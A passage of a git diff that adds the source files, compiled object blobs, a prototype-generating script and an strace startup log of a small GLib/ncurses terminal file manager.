zU1B`_T*!@BESQBlwq5Ad|C??Q8paz&XJb6tqDCM49*vQ13jzlRQ45)ux`P^{7<-`W z*BU|;?)|3o@sd?_xk!8~B#&EOicKCU&_I3Dl2P7xyt z0$=PCtli@FjQq6H_Ap-DOCHZa9_>mvszXp*taYrOj>zAYuq5@J!MvzGgT5a5?<3KT z^TbtHZR8K4pFw{eo%%6g57uW?^CyAJn8s$!p9V&aNmVH4Ku=Ykkv6sQ0=3ym z+bK>-)v_I_H+%$Fe)vjC-K|wzt6FfZsuJ6={X)Z*3Tio_X2exxS9wzfujnd;wZMT5w^&+0;r^)XYd6{^p$ZNE35P63jKNa33ZW4K)h|BOH{aZx7AmS1K zn)Z7{z9&NeJMmuJah#k~xij}W0hPCs-m5%oMr YJN|jRNHj!VA#M|SgScJf0ukf?1W{lTng9R* literal 0 HcmV?d00001 diff --git a/bash/bbs/utils/fm/fm-1.0/fs.c b/bash/bbs/utils/fm/fm-1.0/fs.c new file mode 100644 index 0000000..ed54500 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/fs.c @@ -0,0 +1,416 @@ +/* Copyright (C) 2008 Ricardo Catalinas Jiménez + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include "fm.h" + +GNode *tree_root; + +void init_tree(char *name) +{ + char *path; + + if (name != NULL) + tree_root = g_node_new(create_new_file(name, NULL, TRUE)); + else { + path = g_get_current_dir(); + tree_root = g_node_new(create_new_file(path, NULL, TRUE)); + free(path); + } +} + +File *create_new_file(char *name, char *path, gboolean exit_on_error) +{ + struct stat info, link_info; + File *file = malloc(sizeof(File)); + char *file_path; + + if (path != NULL) + file_path = g_strconcat(path, "/", name, NULL); + else + file_path = name; + + if (stat(file_path, &info) == -1) { + if (exit_on_error) + PRINT_ERRNO_AND_EXIT(); + else { + PRINT_ERRNO_INFO(); + file->type = file_type; + file->no_info = TRUE; + } + } else if (S_ISDIR(info.st_mode)) { + file->type = directory_type; + file->no_info = FALSE; + } else { + file->type = file_type; + file->no_info = FALSE; + } + + if (lstat(file_path, &link_info) == -1) { + PRINT_ERRNO_INFO(); + file->link_path = NULL; + file->link = FALSE; + } else if (S_ISLNK(link_info.st_mode)) { + if (link_info.st_size == 0) + link_info.st_size = PATH_MAX; + + file->link_path = malloc(link_info.st_size + 1); + file->link_path[link_info.st_size] = '\0'; + file->link_path[0] = '\0'; + file->link = TRUE; + + if (readlink(file_path, file->link_path, link_info.st_size) == -1) + PRINT_ERRNO_INFO(); + } else { + file->link_path = NULL; + file->link = FALSE; + } + if (file->link == TRUE) { + file->no_info = FALSE; + file->info = link_info; + } else if (file->no_info == FALSE) + file->info = info; + + file->name = strdup(name); + file->read = FALSE; + file->open = FALSE; + file->show_dotfiles = FALSE; + file->line = NULL; + file->dotfiles = NULL; + + if (path != NULL) + free(file_path); + + return file; +} + +gboolean read_directory(GNode *directory) +{ + DIR *dir; + struct dirent *entry; + File *new_file; + char *path = get_path(directory); + + if ((dir = opendir(path)) == NULL) { + PRINT_ERRNO_INFO(); + return FALSE; + } + for (; (entry = readdir(dir)) != NULL; ) { + if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) + continue; + + if ((new_file = create_new_file(entry->d_name, path, FALSE)) == NULL) + continue; + + if (new_file->name[0] == '.') + insert_sorted_in_dotfiles(directory, new_file); + else + insert_sorted_in_tree(directory, new_file); + } + if (errno == EBADF) + PRINT_ERRNO_AND_EXIT(); + if (closedir(dir) == -1) + PRINT_ERRNO_AND_EXIT(); + free(path); + FILE(directory)->read = TRUE; + + return TRUE; +} + +void free_element_data(gpointer element_data, gpointer data) +{ + if (FILE((GNode *) element_data)->type == directory_type) + destroy_directory_content((GNode *) element_data); + free_node_data((GNode *) element_data, NULL); +} + +void destroy_dotfiles(GList *dotfiles) +{ + g_list_foreach(dotfiles, free_element_data, NULL); + g_list_free(dotfiles); +} + +gboolean free_node_data(GNode *node, gpointer data) +{ + free(FILE(node)->name); + free(FILE(node)->link_path); + destroy_dotfiles(FILE(node)->dotfiles); + free(node->data); + + return FALSE; +} + +void destroy_directory_content(GNode *directory) +{ + GNode *file_ptr, *file_ptr2; + + for (file_ptr = g_node_first_child(directory); file_ptr != NULL; ) { + file_ptr2 = file_ptr; + file_ptr = g_node_next_sibling(file_ptr); + + g_node_unlink(file_ptr2); + g_node_traverse(file_ptr2, G_PRE_ORDER, G_TRAVERSE_ALL, -1, free_node_data, NULL); + g_node_destroy(file_ptr2); + } + destroy_dotfiles(FILE(directory)->dotfiles); + FILE(directory)->dotfiles = NULL; + FILE(directory)->read = FALSE; +} + +void add_dotfiles(GNode *directory) +{ + GList *line_ptr; + GNode *file_ptr; + int position; + + for (line_ptr = g_list_next(FILE(directory)->line), position = 0; + FILE(directory)->dotfiles != NULL; position++) { + file_ptr = NODE(FILE(directory)->dotfiles); + FILE(directory)->dotfiles = g_list_delete_link(FILE(directory)->dotfiles, + FILE(directory)->dotfiles); + g_node_insert(directory, position, file_ptr); + lines = g_list_insert_before(lines, line_ptr, file_ptr); + FILE(file_ptr)->line = g_list_previous(line_ptr); + if (FILE(file_ptr)->type == directory_type && FILE(file_ptr)->open == TRUE) + add_directory_content(file_ptr); + } + FILE(directory)->show_dotfiles = TRUE; +} + +void remove_dotfiles(GNode *directory) +{ + GNode *file_ptr; + GList *line_ptr, *line_ptr_aux; + + for (file_ptr = g_node_first_child(directory); file_ptr != NULL && + FILE(file_ptr)->name[0] == '.'; ) { + lines = g_list_delete_link(lines, FILE(file_ptr)->line); + FILE(directory)->dotfiles = g_list_insert(FILE(directory)->dotfiles, file_ptr, -1); + FILE(file_ptr)->line = NULL; + file_ptr = g_node_next_sibling(file_ptr); + g_node_unlink(NODE(g_list_last(FILE(directory)->dotfiles))); + + for (line_ptr = g_list_previous(FILE(file_ptr)->line); + line_ptr != FILE(directory)->line; ) { + line_ptr_aux = line_ptr; + line_ptr = g_list_previous(line_ptr); + FILE(NODE(line_ptr_aux))->line = NULL; + lines = g_list_delete_link(lines, line_ptr_aux); + } + } + FILE(directory)->show_dotfiles = FALSE; +} + +int file_cmp(File *file1, File *file2) +{ + if (file1->type == file2->type) + return strcmp(file1->name, file2->name); + else if (file1->type == directory_type) + return -1; + else + return 1; +} + +int file_cmp_list(gconstpointer file1, gconstpointer file2) +{ + return file_cmp(FILE((GNode *) file1), FILE((GNode *) file2)); +} + +void insert_sorted_in_dotfiles(GNode *directory, File *file) +{ + FILE(directory)->dotfiles = g_list_insert_sorted(FILE(directory)->dotfiles, + g_node_new(file), file_cmp_list); +} + +void insert_sorted_in_tree(GNode *directory, File *file) +{ + GNode *file_ptr; + + if (G_NODE_IS_LEAF(directory)) + g_node_append_data(directory, file); + else if (file_cmp(file, FILE(g_node_first_child(directory))) < 0) + g_node_prepend_data(directory, file); + else { + for (file_ptr = g_node_last_child(directory); file_ptr != NULL; + file_ptr = g_node_prev_sibling(file_ptr)) { + if (file_cmp(file, FILE(file_ptr)) > 0) { + g_node_insert_after(directory, file_ptr, g_node_new(file)); + break; + } + } + } +} + +char *get_path(GNode *file) +{ + GNode *file_ptr; + GString *path = g_string_new(FILE(file)->name); + + for (file_ptr = file->parent; file_ptr != NULL; file_ptr = file_ptr->parent) { + g_string_prepend(path, "/"); + g_string_prepend(path, FILE(file_ptr)->name); + } + + return g_string_free(path, FALSE); +} + +GNode *get_next_file__real(GNode *file, gboolean go_deeper) +{ + GNode *file_ptr, *directory_ptr; + + if (go_deeper && (file_ptr = g_node_first_child(file)) != NULL && FILE(file)->open == TRUE) + return file_ptr; + else if ((file_ptr = g_node_next_sibling(file)) != NULL) + return file_ptr; + else { + for (directory_ptr = file->parent; directory_ptr != NULL; + directory_ptr = directory_ptr->parent) { + if ((file_ptr = g_node_next_sibling(directory_ptr)) != NULL) + return file_ptr; + } + + return NULL; + } +} + +GNode *get_previous_file(GNode *file) +{ + GNode *file_ptr; + + if (G_NODE_IS_ROOT(file)) + return NULL; + else if (file == g_node_first_sibling(file)) + return file->parent; + else if (!G_NODE_IS_LEAF(file_ptr = g_node_prev_sibling(file)) && + FILE(file_ptr)->open == TRUE) { + do + file_ptr = g_node_last_child(file_ptr); + while (!G_NODE_IS_LEAF(file_ptr) && FILE(file_ptr)->open == TRUE); + return file_ptr; + } else + return file_ptr; +} + +GNode *get_next_file(GNode *file) +{ + return get_next_file__real(file, TRUE); +} + +GNode *get_next_file_not_deepper(GNode *file) +{ + return get_next_file__real(file, FALSE); +} + +char *get_file_info(GNode *file) +{ + struct passwd *pw; + struct group *grp; + struct tm *mtime; + char mode[11], mtime_str[17], size_suffix; + double size; + + switch (FILE(file)->info.st_mode & S_IFMT) { + case S_IFSOCK: + mode[0] = 's'; + break; + case S_IFLNK: + mode[0] = 'l'; + break; + case S_IFREG: + mode[0] = '-'; + break; + case S_IFBLK: + mode[0] = 'b'; + break; + case S_IFDIR: + mode[0] = 'd'; + break; + case S_IFCHR: + mode[0] = 'c'; + break; + case S_IFIFO: + mode[0] = 'p'; + break; + } + mode[1] = (FILE(file)->info.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (FILE(file)->info.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (FILE(file)->info.st_mode & S_IXUSR) ? 'x' : '-'; + + mode[4] = (FILE(file)->info.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (FILE(file)->info.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (FILE(file)->info.st_mode & S_IXGRP) ? 'x' : '-'; + + mode[7] = (FILE(file)->info.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (FILE(file)->info.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (FILE(file)->info.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + if (FILE(file)->info.st_mode & S_ISUID && mode[3] == 'x') + mode[9] = 's'; + else if (FILE(file)->info.st_mode & S_ISUID && mode[3] == '-') + mode[9] = 'S'; + if (FILE(file)->info.st_mode & S_ISGID && mode[6] == 'x') + mode[9] = 's'; + else if (FILE(file)->info.st_mode & S_ISGID && mode[6] == '-') + mode[9] = 'S'; + if (FILE(file)->info.st_mode & S_ISVTX && mode[9] == 'x') + mode[9] = 't'; + else if (FILE(file)->info.st_mode & S_ISVTX && mode[9] == '-') + mode[9] = 'T'; + + if ((pw = getpwuid(FILE(file)->info.st_uid)) == NULL) { + PRINT_ERRNO_INFO(); + return NULL; + } if ((grp = getgrgid(FILE(file)->info.st_gid)) == NULL) { + PRINT_ERRNO_INFO(); + return NULL; + } + + if ((size =(double) FILE(file)->info.st_size / (1024.0 * 1024.0 * 1024.0)) > 1.0) + size_suffix = 'G'; + else if ((size =(double) FILE(file)->info.st_size / (1024.0 * 1024.0)) > 1.0) + size_suffix = 'M'; + else if ((size =(double) FILE(file)->info.st_size / (1024.0)) > 1.0) + size_suffix = 'K'; + else { + size =(double) FILE(file)->info.st_size; + size_suffix = ' '; + } + + if ((mtime = localtime(&(FILE(file)->info.st_mtime))) == NULL) { + PRINT_ERRNO_INFO(); + return NULL; + } + if (strftime(mtime_str, sizeof(mtime_str), "%Y-%m-%d %H:%M", mtime) == 0) { + PRINT_ERRNO_INFO(); + return NULL; + } + + if (FILE(file)->link == TRUE) { + if (size_suffix == ' ') + return g_strdup_printf("%s %s %s %i %s %s -> %s", mode, pw->pw_name, grp->gr_name, + (int) size, mtime_str, FILE(file)->name, FILE(file)->link_path); + else + return g_strdup_printf("%s %s %s %.2f%c %s %s -> %s", mode, pw->pw_name, grp->gr_name, + size, size_suffix, mtime_str, FILE(file)->name, FILE(file)->link_path); + } else { + if (size_suffix == ' ') + return g_strdup_printf("%s %s %s %i %s %s", mode, pw->pw_name, grp->gr_name, + (int) size, mtime_str, FILE(file)->name); + else + return g_strdup_printf("%s %s %s %.2f%c %s %s", mode, pw->pw_name, grp->gr_name, + size, size_suffix, mtime_str, FILE(file)->name); + } +} diff --git a/bash/bbs/utils/fm/fm-1.0/fs.o b/bash/bbs/utils/fm/fm-1.0/fs.o new file mode 100644 index 0000000000000000000000000000000000000000..575e922e8d84a4e9f16d4637f7f7cfc099ca48b0 GIT binary patch literal 8024 zcmb7I3vgRknLe`A=C*YrH!xwxxkraN?C+AO6Eu*)!o#ykg{IJFXHXO_*f-MCpp(xhp%&g_(SHbcw9 zeBZg}O7eA}aK~5w`Tp1W&wu{&xc*dV>qd{qBb>)0yrPDL=)c*PbV{;BG>RJ>RY}9< zD^{q{3TwqtV{!3}vDjMQgr;WQm_M}NW6ZJE`vB+e9vgoC4jL5CWUp8sY3vwGQ?X}-dPfwp7E6tL#gW2+j zKKj7WmCr$B?ba->wY|mskD&|Vbs>h{5}y#lUpVE(?`Ixukes9B{1Z5kjk@N zw=_91IWaX~(HlvJN9Z_zVyoHQHo5z2vS^Bi=Yc*QULZh9J3 z*N+-1RV;wv1IW!}47f5th`I#M5GNG2;|nmpZlAfet?eDdT=ouOJ}=krc<6ElwNrVq z+OLf-*053e6@jfUyKQDhCJvALzZ)8VzOmN~ot)@9c@CMH=o_y~RQI2bK(2R;Gr@5d zum`Ad_YfO3yq7pu#g`voyun(04_0>6;=_2P{CXv~v(@sKgx!3Nuq*HWy&d1=SvlXR ztwyM^#@Zv1T>pAH_Ca$)9ZAiBdfvtSuV! ze_%b};})KMZt4}ge&OBLnVMUwf6)I&5kQl@_f|)1?QATbGslfPnTUQQ!tAue!iK?i zb)iVb>;za&%H)9aC!2Qe**(@f^GtVSNztVPT-^GiQgaKMq7!2vr;^Xl-A?xcb` zUtoh%Y_qnuTgx_E^AST>GeeE1D?DmgXC0&1KmAXP4sQ@RdXR{kJl@{x;W@Q_# zO*sAhg(L7ha~#Fd+%EH8dyLo~$Bf%m-n{jrEslQb7Hg+gJePenf3n5i9_)4GopBWwqi}f8h#8wx_9h z&R@8|rq^m3ToW)BRQ?l)^+D(_ev`7U9Mk{LXx8TaJ`RAhgS<{ZLy@(qHa(jL;Bcp} z+?A7(>#eS;3~{NIVtG5xSlzkeX~S#n(5!iDcjSyCvX_o&)U4Nf6t@rShVnY;1e>$3 zYB_K1p`7eAd%KF-(XOX;#28CU1qcF^5&= zwQ@dd;{Z#+g4c5B5}osWQc4gRMm}`OV=ZKkoB+*@16Jq~Ql!bk4QY78CVlJuE}L7pIMftq5u%d(+f*Xa9K9%J`g~;fk9hcRL(pk~VVQ*%fX9au;MY zj=n>SSF_)>=G0IAoO0KI^w1R}$)B{tudRQ1wW});tE-w+%yeBDd7YGEP#vS()a(UT zThGpZiPK*57`K!|a_63rhTf7B>eTsJ_VT{Tb%L{h5Jaw1D~$WCIfl6~i=9Y;(at4| zO$WJ<{z2`HP*u6DW=ZAYY{@j*H27oISQ_@)|Mj%La1k6UbhMop+7I&H;4kEm({j+B z%%B0e7%r|tpJuU*zwB4Ky{5l^fw5KWhN5zLlrFiR%RzZ$m4n=`aS#|-fgj_5oOKy) zEC=QEl!N=JQVz;BRXkG;+Dp+}4$4_H=Gg%_mP03*F7s^NeQ5Zx#_!((=9|w>eMzpv z!%anu_83@l>@1=8vkxQ#r0yWC_z`=_D#k##08c=gAN4qWSx-=427TkcCNXYjQ>7!= zFN^U(tTHvEJTp8&2an<6SLCK;9b*!m@XB_6-+Z?6CJ+1r%sZVZekBjCytg<(J9Djd zP-|B3wP~Z5$_6@>_rtOr5ATED^WdkloIzlJn&tPtKjOE3?ke|J{m!!Aa!vcnZ)k!3 z>es(>o|)rLzId|v3xA8)o%O+eZg~4m{*k$9IQEZp-L(2tcD{dPvuDj*4$*kg9v>7~ zsjE-<3#J``tY4J957%@VC0u>oK3)osLxszr8iCrYilf=j+y10Qe$@@;34h@W)DB;A zLbAe_Ft3L09E=t=ml$LD9)FyzMJ;Rp$a>G3>nQLS_aW!N4QsB$#{d?^Lg30rI1vYC zL{ph&vg~bzb$S@u)v0c9a#b0CWr^~~>f~6H{J=Itm*fZ#Yh@kuW=+#0bvCu55tqn& z84o7PwV#FffxeQxaV$XQt>+-&omoz3>+#AXKaz^r8g7k5$z8zZ|_^) z9&2syUemr!v}an?UtBeo--kvWKd`d5z2}d}l+CrZ#rs7-1On(-46eZY0laI(reJVQ z>yk|$4lix(40Hxowys>UVs*#L6{}j8^r!W-p3tKieW?(E%%MIbx);<)+jPIvf>OZH zbA|}SqDE8%_GU67kWLX$yCcw1g*_RgQv`ZaeSLZo`pJ}`2hjKOj1leOl>OPy?a<^* zU9T*a->rD5PrrQ5LvM-Ql)sL@Fc90$qpAN- zIoOer?Tmpk>gkRWsG~>9)$Bam7YI>8KsSNGm$4xfnd5qY=l=?NbqvQJRA)T(e4qH$ zbiHuqf7%#tokJ*kW$!f$ui(EaYLB;C9X8L4nPa_hr?sE!WUl2EKr-C+bA&T5yC9#B ztnefM6L?uy#GRmnb@;<*AI1A?B!+U@IS=zxpJU>rBLpRu7Xig19#U-*;(v7EFT3z} zfRADre-Fz3UvSA^a$#O9T9K4JO8@^|@`kzzV*d+V_`Se`u>Tunzt$z+2s}DRh!!P( z&?S#k4*PqQJnfS6YhA#8RLTFrC4a_+zwN?h;PbG*8I<|>Z&Dl?{LWC(3k;lS2l$4bH9yTv};h$L~E zMS9~2JrYUl(Zo#NOccQx7K!P4f4`oV5@{As_NIvX4`$;rHuk0Wp^-@SL=#55PZu~B zdu3x^1kG5sKhmF$CyibaiRkHcG8Lh!5l_ZSS9qn|+ zh-Bh>6Y=Cehna|i*RwyKkYPmnqsD%S&?j^-&Vw}opZ$6gYL2uwt?MG5%;;%&O{EPz zh5#b5l))ipoDS$ij=86=Kaz-N3<% zd-dK_S{G@(FLgk##fA*X2xTBKTw)9zK_wrV8JmNcBd42eQtCxxv6{CTQ8`941CaXh zwBBQ+(uX2FsieURPE5yWQ-^Avn9>Ns;q@mXZ%Zm!97VK;QzJu`sjphk@+;lQG$~6*P25AuYAkqy& zybqLq?rA z{og~3@oiOjr^5S5;crm!KTC}9oghX3KP5$d{X6BGgt$Q5EyQn>+>5nHxdux4dDiP+ e3-J`|u3d<;q^R2|&VQ#6Z*bl)@9&}=;{F3HX)xme literal 0 HcmV?d00001 diff --git a/bash/bbs/utils/fm/fm-1.0/gen_protos.sh b/bash/bbs/utils/fm/fm-1.0/gen_protos.sh new file mode 100755 index 0000000..a000f57 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/gen_protos.sh @@ -0,0 +1,13 @@ +#!/bin/sh + +TYPES='void|char|int|File|gboolean|GNode|GList|WINDOW' + +egrep -h '^('$TYPES').*;$' *.c | sed 's/^/extern /' +echo + +for file in *.c; do + echo '/* ' $file ' */' + egrep '^('$TYPES').*(\)|,)$' $file | grep -v '^int main(.*)' | sed 's/)$/);/' + echo +done +echo '#endif' diff --git a/bash/bbs/utils/fm/fm-1.0/ino.c b/bash/bbs/utils/fm/fm-1.0/ino.c new file mode 100644 index 0000000..db26b10 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/ino.c @@ -0,0 +1,35 @@ +#include + +GHashTable *directory_paths; + +void init_directory_paths(void) +{ + // FIXME padding '////' from root_path + directory_paths = g_hash_table_new(g_str_hash, g_str_equal); +} + +void init_inotify(char *root_path) +{ + int descriptor, watch; + + if ((descriptor = inotify_init()) == -1) { + PRINT_ERRNO_INFO(); + return; + } + if ((watch = inotify_add_watch(descriptor, root_path, IN_MOVED_FROM | IN_MOVED_TO | IN_DELETED)) == -1) { + PRINT_ERRNO_INFO(); + return; + } +} + +GNode *get_file_by_path(char *path) +{ +} + +void insert_file_in_directory(GNode *directory, GNode *file) +{ +} + +void remove_file_from_directory(GNode *file) +{ +} diff --git a/bash/bbs/utils/fm/fm-1.0/strace b/bash/bbs/utils/fm/fm-1.0/strace new file mode 100644 index 0000000..c815fb1 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/strace @@ -0,0 +1,573 @@ +execve("./fm", ["./fm"], [/* 68 vars */]) = 0 +brk(0) = 0x9d9c000 +mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb781c000 +access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) +open("/etc/ld.so.cache", O_RDONLY) = 3 +fstat64(3, {st_mode=S_IFREG|0644, st_size=169412, ...}) = 0 +mmap2(NULL, 169412, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77f2000 +close(3) = 0 +open("/lib/libncursesw.so.5", O_RDONLY) = 3 +read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\305\0\0004\0\0\0"..., 512) = 512 +fstat64(3, {st_mode=S_IFREG|0755, st_size=345186, ...}) = 0 +mmap2(NULL, 313604, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb77a5000 +mmap2(0xb77ef000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x4a) = 0xb77ef000 +close(3) = 0 +open("/usr/lib/libglib-2.0.so.0", O_RDONLY) = 3 +read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\372\0\0004\0\0\0"..., 512) = 512 +fstat64(3, {st_mode=S_IFREG|0755, st_size=876260, ...}) = 0 +mmap2(NULL, 727652, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76f3000 +mmap2(0xb77a4000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xb1) = 0xb77a4000 +close(3) = 0 +open("/lib/libc.so.6", O_RDONLY) = 3 +read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340l\1\0004\0\0\0"..., 512) = 512 +fstat64(3, {st_mode=S_IFREG|0755, st_size=1540581, ...}) = 0 +mmap2(NULL, 1337608, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ac000 +mmap2(0xb76ed000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x141) = 0xb76ed000 +mmap2(0xb76f0000, 10504, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76f0000 +close(3) = 0 +open("/lib/libpcre.so.0", O_RDONLY) = 3 +read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\16\0\0004\0\0\0"..., 512) = 512 +fstat64(3, {st_mode=S_IFREG|0755, st_size=213417, ...}) = 0 +mmap2(NULL, 202464, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757a000 +mmap2(0xb75ab000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x30) = 0xb75ab000 +close(3) = 0 +mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7579000 +mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7578000 +set_thread_area({entry_number:-1 -> 6, base_addr:0xb75786c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 +mprotect(0xb76ed000, 8192, PROT_READ) = 0 +mprotect(0xb783a000, 4096, PROT_READ) = 0 +munmap(0xb77f2000, 169412) = 0 +brk(0) = 0x9d9c000 +brk(0x9dbd000) = 0x9dbd000 +open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3 +fstat64(3, {st_mode=S_IFREG|0644, st_size=2135408, ...}) = 0 +mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7378000 +close(3) = 0 +rt_sigaction(SIGSEGV, {0x8049c40, [], 0}, NULL, 8) = 0 +rt_sigaction(SIGINT, {0x8049c20, [], 0}, NULL, 8) = 0 +rt_sigaction(SIGWINCH, {0x804bb70, [], 0}, NULL, 8) = 0 +ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f398) = -1 ENOTTY (Inappropriate ioctl for device) +stat64("/home/harvie/.terminfo", 0xbf82e344) = -1 ENOENT (No such file or directory) +stat64("/usr/share/terminfo", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 +access("/usr/share/terminfo/x/xterm", R_OK) = 0 +open("/usr/share/terminfo/x/xterm", O_RDONLY|O_LARGEFILE) = 3 +read(3, "\32\0010\0&\0\17\0\235\1l\5xterm|xterm terminal"..., 4097) = 3258 +close(3) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f398) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f358) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f358) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f3a8) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f3a8) = -1 ENOTTY (Inappropriate ioctl for device) +brk(0x9dde000) = 0x9dde000 +ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f3b8) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +rt_sigaction(SIGTSTP, NULL, {SIG_DFL, [], 0}, 8) = 0 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGINT, NULL, {0x8049c20, [], 0}, 8) = 0 +rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0 +rt_sigaction(SIGTERM, {0xb77c3580, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGWINCH, NULL, {0x804bb70, [], 0}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f478) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33(B\33[m\33[4l\33[?7h\33["..., 37) = 37 +write(1, "\33[?25l", 6) = 6 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +write(1, "\33[H\33[2J", 7) = 7 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +getcwd("/home/harvie/Work/bbs/utils/fm/fm-1.0", 4096) = 38 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 +gettimeofday({1262029956, 210248}, NULL) = 0 +open("/home/harvie/Work/bbs/utils/fm/fm-1.0", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|O_CLOEXEC) = 3 +fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC) +getdents(3, /* 23 entries */, 32768) = 436 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/Makefile", {st_mode=S_IFREG|0644, st_size=670, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/Makefile", {st_mode=S_IFREG|0644, st_size=670, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/ui.c", {st_mode=S_IFREG|0644, st_size=9958, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/ui.c", {st_mode=S_IFREG|0644, st_size=9958, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/.hg_archival.txt", {st_mode=S_IFREG|0644, st_size=94, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/.hg_archival.txt", {st_mode=S_IFREG|0644, st_size=94, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm.h", {st_mode=S_IFREG|0644, st_size=4688, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm.h", {st_mode=S_IFREG|0644, st_size=4688, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/TODO", {st_mode=S_IFREG|0644, st_size=65, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/TODO", {st_mode=S_IFREG|0644, st_size=65, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/ui.o", {st_mode=S_IFREG|0644, st_size=9536, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/ui.o", {st_mode=S_IFREG|0644, st_size=9536, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm.c", {st_mode=S_IFREG|0644, st_size=2186, 